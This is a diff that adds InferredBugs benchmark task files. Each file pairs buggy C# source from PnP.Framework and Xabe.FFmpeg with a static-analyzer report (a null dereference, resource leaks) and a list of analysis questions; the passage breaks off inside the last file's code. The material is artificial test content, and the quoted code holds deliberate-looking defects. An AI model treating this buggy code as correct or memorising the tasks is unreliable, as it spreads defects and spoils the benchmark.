+            return factory.Create(ctxUri, AuthenticationProviderFactory.GetAuthenticationProvider(context));
+        }
+
+        private IPnPContextFactory BuildContextFactory()
+        {
+            try
+            {
+                // Ensure there's only one context factory building happening at any given time
+                semaphoreSlimFactory.Wait();
+
+                // Return the factory from cache if we already have one
+                if (pnpContextFactoryCache != null)
+                {
+                    return pnpContextFactoryCache;
+                }
+
+                // Build the service collection and load PnP Core SDK
+                IServiceCollection services = new ServiceCollection();
+
+                // To increase coverage of solutions providing tokens without graph scopes we turn of graphfirst for PnPContext created from PnP Framework                
+                services = services.AddPnPCore(options =>
+                {
+                    options.PnPContext.GraphFirst = false;
+                }).Services;
+
+                // Enables to plug in additional services into this service container
+                if(OnDIContainerBuilding != null)
+                {
+                    OnDIContainerBuilding.Invoke(this, services);
+                }
+
+                var serviceProvider = services.BuildServiceProvider();
+                
+                // Get a PnP context factory
+                var pnpContextFactory = serviceProvider.GetRequiredService<IPnPContextFactory>();
+
+                // Chache the factory before returning it
+                if (pnpContextFactoryCache == null)
+                {
+                    pnpContextFactoryCache = pnpContextFactory;
+                }
+
+                return pnpContextFactory;
+            }
+            finally
+            {
+                semaphoreSlimFactory.Release();
+            }
+
+        }
+
+        /// <summary>
+        /// Returns a CSOM ClientContext for a given PnP Core SDK context
+        /// </summary>
+        /// <param name="pnpContext">The PnP Core SDK context</param>
+        /// <returns>The equivalent CSOM ClientContext</returns>
+        public ClientContext GetClientContext(PnPContext pnpContext)
+        {
+#pragma warning disable CA2000 // Dispose objects before losing scope
+            AuthenticationManager authManager = AuthenticationManager.CreateWithPnPCoreSdk(pnpContext.AuthenticationProvider);
+#pragma warning restore CA2000 // Dispose objects before losing scope
+
+            var ctx = authManager.GetContext(pnpContext.Uri.ToString());
+            var ctxSettings = ctx.GetContextSettings();
+            ctxSettings.AuthenticationManager = authManager; //otherwise GetAccessToken would not work for example
+            ctx.AddContextSettings(ctxSettings);
+            return ctx;
+        }
+
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `ctxSettings` last assigned on line 123 could be null and is dereferenced at line 124, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+ClientContext PnPCoreSdk.GetClientContext(PnPContext)
+
+### File:
+src/lib/PnP.Framework/PnPCoreSdk.cs
+
+### Key:
+PnPCoreSdk.cs|GetClientContext|NULL_DEREFERENCE
+
+### Node Key:
+5f12004af86bc692e0983547f0c7b710
+
+### Hash:
+07e25cda3d7ee86ec286221a808c7465
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0152/instruction.md b/inferredbugs-0152/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b38694f01da05011293227db7aadb9d50412199d
--- /dev/null
+++ b/inferredbugs-0152/instruction.md
@@ -0,0 +1,419 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Xabe.FFmpeg
+**Bug ID:** 19
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Linq;
+using JetBrains.Annotations;
+using Xabe.FFMpeg.Enums;
+
+namespace Xabe.FFMpeg
+{
+    /// <inheritdoc cref="IVideoInfo" />
+    public class VideoInfo: IDisposable, IVideoInfo
+    {
+        private FFMpeg _ffmpeg;
+
+        /// <inheritdoc />
+        public VideoInfo(FileInfo sourceFileInfo): this(sourceFileInfo.FullName)
+        {
+        }
+
+        /// <summary>
+        ///     Get VideoInfo from file
+        /// </summary>
+        /// <param name="filePath">FilePath to file</param>
+        [UsedImplicitly]
+        public VideoInfo(string filePath)
+        {
+            if(!File.Exists(filePath))
+                throw new ArgumentException($"Input file {filePath} doesn't exists.");
+            FilePath = filePath;
+            new FFProbe().ProbeDetails(this);
+        }
+
+        private FFMpeg FFmpeg
+        {
+            get
+            {
+                if(_ffmpeg != null &&
+                   _ffmpeg.IsRunning)
+                    throw new InvalidOperationException(
+                        "Operation on this file is in progress.");
+
+                return _ffmpeg ?? (_ffmpeg = new FFMpeg());
+            }
+        }
+
+        /// <inheritdoc cref="IVideoInfo.Dispose" />
+        [UsedImplicitly]
+        public void Dispose()
+        {
+            FFmpeg.Dispose();
+        }
+
+        /// <inheritdoc />
+        public string FilePath { get; }
+
+        /// <inheritdoc />
+        public ConversionHandler OnConversionProgress { get; set; }
+
+
+        /// <inheritdoc />
+        public string Extension => Path.GetExtension(FilePath);
+
+
+        /// <inheritdoc />
+        public TimeSpan Duration { get; internal set; }
+
+        /// <inheritdoc />
+        public string AudioFormat { get; internal set; }
+
+
+        /// <inheritdoc />
+        public string VideoFormat { get; internal set; }
+
+
+        /// <inheritdoc />
+        public string Ratio { get; internal set; }
+
+        /// <inheritdoc />
+        public double FrameRate { get; internal set; }
+
+        /// <inheritdoc />
+        public int Height { get; internal set; }
+
+        /// <inheritdoc />
+        public int Width { get; internal set; }
+
+        /// <inheritdoc />
+        public double Size { get; internal set; }
+
+        /// <inheritdoc />
+        public bool IsRunning => FFmpeg.IsRunning;
+
+
+        /// <inheritdoc cref="IVideoInfo.ToString" />
+        [UsedImplicitly]
+        public override string ToString()
+        {
+            return "Video FilePath : " + FilePath + Environment.NewLine +
+                   "Video Root : " + Path.GetDirectoryName(FilePath) + Environment.NewLine +
+                   "Video Name: " + Path.GetFileName(FilePath) + Environment.NewLine +
+                   "Video Extension : " + Extension + Environment.NewLine +
+                   "Video duration : " + Duration + Environment.NewLine +
+                   "Audio format : " + AudioFormat + Environment.NewLine +
+                   "Video format : " + VideoFormat + Environment.NewLine +
+                   "Aspect Ratio : " + Ratio + Environment.NewLine +
+                   "Framerate : " + FrameRate + "fps" + Environment.NewLine +
+                   "Resolution : " + Width + "x" + Height + Environment.NewLine +
+                   "Size : " + Size + " MB";
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToTs(string outputPath)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .StreamCopy(Channel.Both)
+                .SetBitstreamFilter(Channel.Video, Filter.H264_Mp4ToAnnexB)
+                .SetCodec(VideoCodec.MpegTs)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToWebM(string outputPath, string size = "", AudioQuality audioQuality = AudioQuality.Normal)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .SetScale(size)
+                .SetVideo(VideoCodec.LibVpx, 2400)
+                .SetSpeed(16)
+                .SetAudio(AudioCodec.LibVorbis, audioQuality)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToOgv(string outputPath, string size = "", AudioQuality audioQuality = AudioQuality.Normal, bool multithread = false)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .SetScale(size)
+                .SetVideo(VideoCodec.LibTheora, 2400)
+                .SetSpeed(16)
+                .SetAudio(AudioCodec.LibVorbis, audioQuality)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToMp4(string outputPath, Speed speed = Speed.SuperFast,
+            string size = "", AudioQuality audioQuality = AudioQuality.Normal, bool multithread = false)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .UseMultiThread(multithread)
+                .SetScale(size)
+                .SetVideo(VideoCodec.LibX264, 2400)
+                .SetSpeed(speed)
+                .SetAudio(AudioCodec.Aac, audioQuality)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ExtractVideo(string output)
+        {
+            IConversion conversion = new Conversion().SetInput(FilePath)
+                                                     .StreamCopy(Channel.Both)
+                                                     .DisableChannel(Channel.Audio)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ExtractAudio(string output)
+        {
+            IConversion conversion = new Conversion().SetInput(FilePath)
+                                                     .DisableChannel(Channel.Video)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool AddAudio(FileInfo audio, string output)
+        {
+            IConversion conversion = new Conversion().SetInput(new FileInfo(FilePath), audio)
+                                                     .StreamCopy(Channel.Video)
+                                                     .SetAudio(AudioCodec.Aac, AudioQuality.Hd)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public Bitmap Snapshot(Size? size = null, TimeSpan? captureTime = null)
+        {
+            string output = $"{Environment.TickCount}.png";
+
+            bool success = Snapshot(this, output, size, captureTime);
+
+            if(!success)
+                throw new OperationCanceledException("Could not take snapshot!");
+
+            Bitmap result;
+
+            using(Image bmp = Image.FromFile(output))
+            {
+                using(var ms = new MemoryStream())
+                {
+                    bmp.Save(ms, ImageFormat.Png);
+
+                    result = new Bitmap(ms);
+                }
+            }
+
+            if(File.Exists(output))
+                File.Delete(output);
+
+            return result;
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public Bitmap Snapshot(string output, Size? size = null, TimeSpan? captureTime = null)
+        {
+            bool success = Snapshot(this, output, size, captureTime);
+
+            if(!success)
+                throw new OperationCanceledException("Could not take snapshot!");
+
+            Bitmap result;
+
+
+            using(Image bmp = Image.FromFile(Path.ChangeExtension(output, ".png")))
+            {
+                result = (Bitmap) bmp.Clone();
+            }
+
+            return result;
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool Snapshot(VideoInfo source, string outputPath, Size? size = null, TimeSpan? captureTime = null)
+        {
+            if(captureTime == null)
+                captureTime = TimeSpan.FromSeconds(source.Duration.TotalSeconds / 3);
+
+            size = GetSize(source, size);
+
+            IConversion conversion = new Conversion()
+                .SetInput(source.FilePath)
+                .SetVideo(VideoCodec.Png)
+                .SetOutputFramesCount(1)
+                .SetSeek(captureTime)
+                .SetSize(size)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool SaveM3U8Stream(Uri uri, string outputPath)
+        {
+            if(uri.Scheme != "http" ||
+               uri.Scheme != "https")
+                throw new ArgumentException($"Invalid uri {uri.AbsolutePath}");
+
+            return new Conversion().SetInput(uri)
+                                   .SetOutput(outputPath)
+                                   .Start();
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool JoinWith(string output, params IVideoInfo[] videos)
+        {
+            List<IVideoInfo> queuedVideos = videos.ToList();
+
+            queuedVideos.Insert(0, this);
+
+            var pathList = new List<string>();
+
+            foreach(VideoInfo video in videos)
+            {
+                string tempFileName = Path.ChangeExtension(Path.GetTempFileName(), Extensions.Ts);
+                pathList.Add(tempFileName);
+                video.ToTs(tempFileName);
+            }
+
+            IConversion conversion = new Conversion().
+                Concat(pathList.ToArray())
+                                                     .StreamCopy(Channel.Both)
+                                                     .SetBitstreamFilter(Channel.Audio, Filter.Aac_AdtstoAsc)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+        private static Size? GetSize(VideoInfo source, Size? size)
+        {
+            if(size == null ||
+               size.Value.Height == 0 && size.Value.Width == 0)
+                size = new Size(source.Width, source.Height);
+
+            if(size.Value.Width != size.Value.Height)
+            {
+                if(size.Value.Width == 0)
+                {
+                    double ratio = source.Width / (double) size.Value.Width;
+
+                    size = new Size((int) (source.Width * ratio), (int) (source.Height * ratio));
+                }
+
+                if(size.Value.Height == 0)
+                {
+                    double ratio = source.Height / (double) size.Value.Height;
+
+                    size = new Size((int) (source.Width * ratio), (int) (source.Height * ratio));
+                }
+            }
+
+            return size;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from Xabe.FFMpeg.IConversion Xabe.FFMpeg.Conversion::SetInput(System.String) at Line 200).Xabe.FFMpeg.Conversion._inputFiles.[_] of type Xabe.FFMpeg.VideoInfo in method "Boolean VideoInfo.ExtractAudio(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean VideoInfo.ExtractAudio(String)
+
+### File:
+Xabe.FFMpeg/VideoInfo.cs
+
+### Key:
+VideoInfo.cs|ExtractAudio|DOTNET_RESOURCE_LEAK
+
+### Hash:
+2c0a362289adc79f5120a027e89e008c
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0155/instruction.md b/inferredbugs-0155/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..76b2061433eada138cdd6f21c81301cc5257f350
--- /dev/null
+++ b/inferredbugs-0155/instruction.md
@@ -0,0 +1,419 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Xabe.FFmpeg
+**Bug ID:** 24
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Linq;
+using JetBrains.Annotations;
+using Xabe.FFMpeg.Enums;
+
+namespace Xabe.FFMpeg
+{
+    /// <inheritdoc cref="IVideoInfo" />
+    public class VideoInfo: IDisposable, IVideoInfo
+    {
+        private FFMpeg _ffmpeg;
+
+        /// <inheritdoc />
+        public VideoInfo(FileInfo sourceFileInfo): this(sourceFileInfo.FullName)
+        {
+        }
+
+        /// <summary>
+        ///     Get VideoInfo from file
+        /// </summary>
+        /// <param name="filePath">FilePath to file</param>
+        [UsedImplicitly]
+        public VideoInfo(string filePath)
+        {
+            if(!File.Exists(filePath))
+                throw new ArgumentException($"Input file {filePath} doesn't exists.");
+            FilePath = filePath;
+            new FFProbe().ProbeDetails(this);
+        }
+
+        private FFMpeg FFmpeg
+        {
+            get
+            {
+                if(_ffmpeg != null &&
+                   _ffmpeg.IsRunning)
+                    throw new InvalidOperationException(
+                        "Operation on this file is in progress.");
+
+                return _ffmpeg ?? (_ffmpeg = new FFMpeg());
+            }
+        }
+
+        /// <inheritdoc cref="IVideoInfo.Dispose" />
+        [UsedImplicitly]
+        public void Dispose()
+        {
+            FFmpeg.Dispose();
+        }
+
+        /// <inheritdoc />
+        public string FilePath { get; }
+
+        /// <inheritdoc />
+        public ConversionHandler OnConversionProgress { get; set; }
+
+
+        /// <inheritdoc />
+        public string Extension => Path.GetExtension(FilePath);
+
+
+        /// <inheritdoc />
+        public TimeSpan Duration { get; internal set; }
+
+        /// <inheritdoc />
+        public string AudioFormat { get; internal set; }
+
+
+        /// <inheritdoc />
+        public string VideoFormat { get; internal set; }
+
+
+        /// <inheritdoc />
+        public string Ratio { get; internal set; }
+
+        /// <inheritdoc />
+        public double FrameRate { get; internal set; }
+
+        /// <inheritdoc />
+        public int Height { get; internal set; }
+
+        /// <inheritdoc />
+        public int Width { get; internal set; }
+
+        /// <inheritdoc />
+        public double Size { get; internal set; }
+
+        /// <inheritdoc />
+        public bool IsRunning => FFmpeg.IsRunning;
+
+
+        /// <inheritdoc cref="IVideoInfo.ToString" />
+        [UsedImplicitly]
+        public override string ToString()
+        {
+            return "Video FilePath : " + FilePath + Environment.NewLine +
+                   "Video Root : " + Path.GetDirectoryName(FilePath) + Environment.NewLine +
+                   "Video Name: " + Path.GetFileName(FilePath) + Environment.NewLine +
+                   "Video Extension : " + Extension + Environment.NewLine +
+                   "Video duration : " + Duration + Environment.NewLine +
+                   "Audio format : " + AudioFormat + Environment.NewLine +
+                   "Video format : " + VideoFormat + Environment.NewLine +
+                   "Aspect Ratio : " + Ratio + Environment.NewLine +
+                   "Framerate : " + FrameRate + "fps" + Environment.NewLine +
+                   "Resolution : " + Width + "x" + Height + Environment.NewLine +
+                   "Size : " + Size + " MB";
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToTs(string outputPath)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .StreamCopy(Channel.Both)
+                .SetBitstreamFilter(Channel.Video, Filter.H264_Mp4ToAnnexB)
+                .SetCodec(VideoCodec.MpegTs)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToWebM(string outputPath, string size = "", AudioQuality audioQuality = AudioQuality.Normal)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .SetScale(size)
+                .SetVideo(VideoCodec.LibVpx, 2400)
+                .SetSpeed(16)
+                .SetAudio(AudioCodec.LibVorbis, audioQuality)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToOgv(string outputPath, string size = "", AudioQuality audioQuality = AudioQuality.Normal, bool multithread = false)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .SetScale(size)
+                .SetVideo(VideoCodec.LibTheora, 2400)
+                .SetSpeed(16)
+                .SetAudio(AudioCodec.LibVorbis, audioQuality)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ToMp4(string outputPath, Speed speed = Speed.SuperFast,
+            string size = "", AudioQuality audioQuality = AudioQuality.Normal, bool multithread = false)
+        {
+            IConversion conversion = new Conversion()
+                .SetInput(FilePath)
+                .UseMultiThread(multithread)
+                .SetScale(size)
+                .SetVideo(VideoCodec.LibX264, 2400)
+                .SetSpeed(speed)
+                .SetAudio(AudioCodec.Aac, audioQuality)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ExtractVideo(string output)
+        {
+            IConversion conversion = new Conversion().SetInput(FilePath)
+                                                     .StreamCopy(Channel.Both)
+                                                     .DisableChannel(Channel.Audio)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool ExtractAudio(string output)
+        {
+            IConversion conversion = new Conversion().SetInput(FilePath)
+                                                     .DisableChannel(Channel.Video)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool AddAudio(FileInfo audio, string output)
+        {
+            IConversion conversion = new Conversion().SetInput(new FileInfo(FilePath), audio)
+                                                     .StreamCopy(Channel.Video)
+                                                     .SetAudio(AudioCodec.Aac, AudioQuality.Hd)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public Bitmap Snapshot(Size? size = null, TimeSpan? captureTime = null)
+        {
+            string output = $"{Environment.TickCount}.png";
+
+            bool success = Snapshot(this, output, size, captureTime);
+
+            if(!success)
+                throw new OperationCanceledException("Could not take snapshot!");
+
+            Bitmap result;
+
+            using(Image bmp = Image.FromFile(output))
+            {
+                using(var ms = new MemoryStream())
+                {
+                    bmp.Save(ms, ImageFormat.Png);
+
+                    result = new Bitmap(ms);
+                }
+            }
+
+            if(File.Exists(output))
+                File.Delete(output);
+
+            return result;
+        }
+
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public Bitmap Snapshot(string output, Size? size = null, TimeSpan? captureTime = null)
+        {
+            bool success = Snapshot(this, output, size, captureTime);
+
+            if(!success)
+                throw new OperationCanceledException("Could not take snapshot!");
+
+            Bitmap result;
+
+
+            using(Image bmp = Image.FromFile(Path.ChangeExtension(output, ".png")))
+            {
+                result = (Bitmap) bmp.Clone();
+            }
+
+            return result;
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool Snapshot(VideoInfo source, string outputPath, Size? size = null, TimeSpan? captureTime = null)
+        {
+            if(captureTime == null)
+                captureTime = TimeSpan.FromSeconds(source.Duration.TotalSeconds / 3);
+
+            size = GetSize(source, size);
+
+            IConversion conversion = new Conversion()
+                .SetInput(source.FilePath)
+                .SetVideo(VideoCodec.Png)
+                .SetOutputFramesCount(1)
+                .SetSeek(captureTime)
+                .SetSize(size)
+                .SetOutput(outputPath);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool SaveM3U8Stream(Uri uri, string outputPath)
+        {
+            if(uri.Scheme != "http" ||
+               uri.Scheme != "https")
+                throw new ArgumentException($"Invalid uri {uri.AbsolutePath}");
+
+            return new Conversion().SetInput(uri)
+                                   .SetOutput(outputPath)
+                                   .Start();
+        }
+
+        /// <inheritdoc />
+        [UsedImplicitly]
+        public bool JoinWith(string output, params IVideoInfo[] videos)
+        {
+            List<IVideoInfo> queuedVideos = videos.ToList();
+
+            queuedVideos.Insert(0, this);
+
+            var pathList = new List<string>();
+
+            foreach(VideoInfo video in videos)
+            {
+                string tempFileName = Path.ChangeExtension(Path.GetTempFileName(), Extensions.Ts);
+                pathList.Add(tempFileName);
+                video.ToTs(tempFileName);
+            }
+
+            IConversion conversion = new Conversion().
+                Concat(pathList.ToArray())
+                                                     .StreamCopy(Channel.Both)
+                                                     .SetBitstreamFilter(Channel.Audio, Filter.Aac_AdtstoAsc)
+                                                     .SetOutput(output);
+
+            conversion.OnProgress += OnConversionProgress;
+            return conversion.Start();
+        }
+
+        private static Size? GetSize(VideoInfo source, Size? size)
+        {
+            if(size == null ||
+               size.Value.Height == 0 && size.Value.Width == 0)
+                size = new Size(source.Width, source.Height);
+
+            if(size.Value.Width != size.Value.Height)
+            {
+                if(size.Value.Width == 0)
+                {
+                    double ratio = source.Width / (double) size.Value.Width;
+
+                    size = new Size((int) (source.Width * ratio), (int) (source.Height * ratio));
+                }
+
+                if(size.Value.Height == 0)
+                {
+                    double ratio = source.Height / (double) size.Value.Height;
+
+                    size = new Size((int) (source.Width * ratio), (int) (source.Height * ratio));
+                }
+            }
+
+            return size;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from Xabe.FFMpeg.IConversion Xabe.FFMpeg.Conversion::SetInput(System.String) at Line 118).Xabe.FFMpeg.Conversion._inputFiles.[_] of type Xabe.FFMpeg.VideoInfo in method "Boolean VideoInfo.ToTs(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean VideoInfo.ToTs(String)
+
+### File:
+Xabe.FFMpeg/VideoInfo.cs
+
+### Key:
+VideoInfo.cs|ToTs|DOTNET_RESOURCE_LEAK
+
+### Hash:
+d30f04058674accc9699f12382cda9c1
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0163/instruction.md b/inferredbugs-0163/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..daa12d3b8546d32001dd25b496bce44d35c60bd1
--- /dev/null
+++ b/inferredbugs-0163/instruction.md
@@ -0,0 +1,383 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Xabe.FFmpeg
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Linq;
+using Xabe.FFMpeg.Enums;
+
+namespace Xabe.FFMpeg
+{
+    /// <summary>
+    ///     Information about media file
+    /// </summary>
+    public class VideoInfo : IDisposable
+    {
+        /// <summary>
+        ///     _sourceFile info
+        /// </summary>
+
+        public readonly string FilePath;
+
+        /// <summary>
+        ///     Return extension of file
+        /// </summary>
+        public string Extension => Path.GetExtension(FilePath);
+
+        private FFMpeg _ffmpeg;
+
+        /// <summary>
+        ///     Fires when conversion progress changed
+        /// </summary>
+        public ConversionHandler OnConversionProgress;
+
+        /// <summary>
+        ///     Get VideoInfo from file
+        /// </summary>
+        /// <param name="sourceFileInfo">_sourceFile</param>
+        public VideoInfo(FileInfo sourceFileInfo) : this(sourceFileInfo.FullName)
+        {
+        }
+
+        /// <summary>
+        ///     Get VideoInfo from file
+        /// </summary>
+        /// <param name="filePath">FilePath to file</param>
+        public VideoInfo(string filePath)
+        {
+            if(!File.Exists(filePath))
+            {
+                throw new ArgumentException($"Input file {filePath} doesn't exists.");
+            }
+            FilePath = filePath;
+            new FFProbe().ProbeDetails(this);
+        }
+
+        private FFMpeg FFmpeg
+        {
+            get
+            {
+                if(_ffmpeg != null &&
+                   _ffmpeg.IsRunning)
+                    throw new InvalidOperationException(
+                        "Operation on this file is in progress.");
+
+                return _ffmpeg ?? (_ffmpeg = new FFMpeg());
+            }
+        }
+
+        /// <summary>
+        ///     duration of video
+        /// </summary>
+        public TimeSpan Duration { get; internal set; }
+
+        /// <summary>
+        ///     Audio format
+        /// </summary>
+        public string AudioFormat { get; internal set; }
+
+        /// <summary>
+        ///     Video format
+        /// </summary>
+        public string VideoFormat { get; internal set; }
+
+        /// <summary>
+        ///     Screen ratio
+        /// </summary>
+        public string Ratio { get; internal set; }
+
+        /// <summary>
+        ///     Frame rate
+        /// </summary>
+        public double FrameRate { get; internal set; }
+
+        /// <summary>
+        ///     Height
+        /// </summary>
+        public int Height { get; internal set; }
+
+        /// <summary>
+        ///     Width
+        /// </summary>
+        public int Width { get; internal set; }
+
+        /// <summary>
+        ///     size
+        /// </summary>
+        public double Size { get; internal set; }
+
+        /// <summary>
+        ///     Get the ffmpeg process status
+        /// </summary>
+        public bool IsRunning => FFmpeg.IsRunning;
+
+        /// <summary>
+        ///     Create VideoInfo from file
+        /// </summary>
+        /// <param name="fileInfo">_sourceFile</param>
+        /// <returns>VideoInfo</returns>
+        public static VideoInfo FromFile(FileInfo fileInfo)
+        {
+            return new VideoInfo(fileInfo);
+        }
+
+        /// <summary>
+        ///     Get formated info about video
+        /// </summary>
+        /// <returns>Formated info about vidoe</returns>
+        public override string ToString()
+        {
+            return "Video FilePath : " + FilePath + Environment.NewLine +
+                   "Video Root : " + Path.GetDirectoryName(FilePath)+ Environment.NewLine +
+                   "Video Name: " + Path.GetFileName(FilePath) + Environment.NewLine +
+                   "Video Extension : " + Extension + Environment.NewLine +
+                   "Video duration : " + Duration + Environment.NewLine +
+                   "Audio format : " + AudioFormat + Environment.NewLine +
+                   "Video format : " + VideoFormat + Environment.NewLine +
+                   "Aspect Ratio : " + Ratio + Environment.NewLine +
+                   "Framerate : " + FrameRate + "fps" + Environment.NewLine +
+                   "Resolution : " + Width + "x" + Height + Environment.NewLine +
+                   "Size : " + Size + " MB";
+        }
+
+        /// <summary>
+        ///     Convert file to TS
+        /// </summary>
+        /// <param name="outputPath">Destination file</param>
+        /// <returns>Output VideoInfo</returns>
+        public VideoInfo ToTs(string outputPath)
+        {
+            FFmpeg.OnProgress += OnConversionProgress;
+            var success = FFmpeg.ToTs(this, outputPath);
+            if (!success)
+                throw new OperationCanceledException("The conversion process could not be completed.");
+            FFmpeg.OnProgress -= OnConversionProgress;
+            return new VideoInfo(outputPath);
+        }
+
+        /// <summary>
+        ///     Convert file to WebM
+        /// </summary>
+        /// <param name="outputPath">Destination file</param>
+        /// <param name="size">Dimension</param>
+        /// <param name="audioQuality">Audio quality</param>
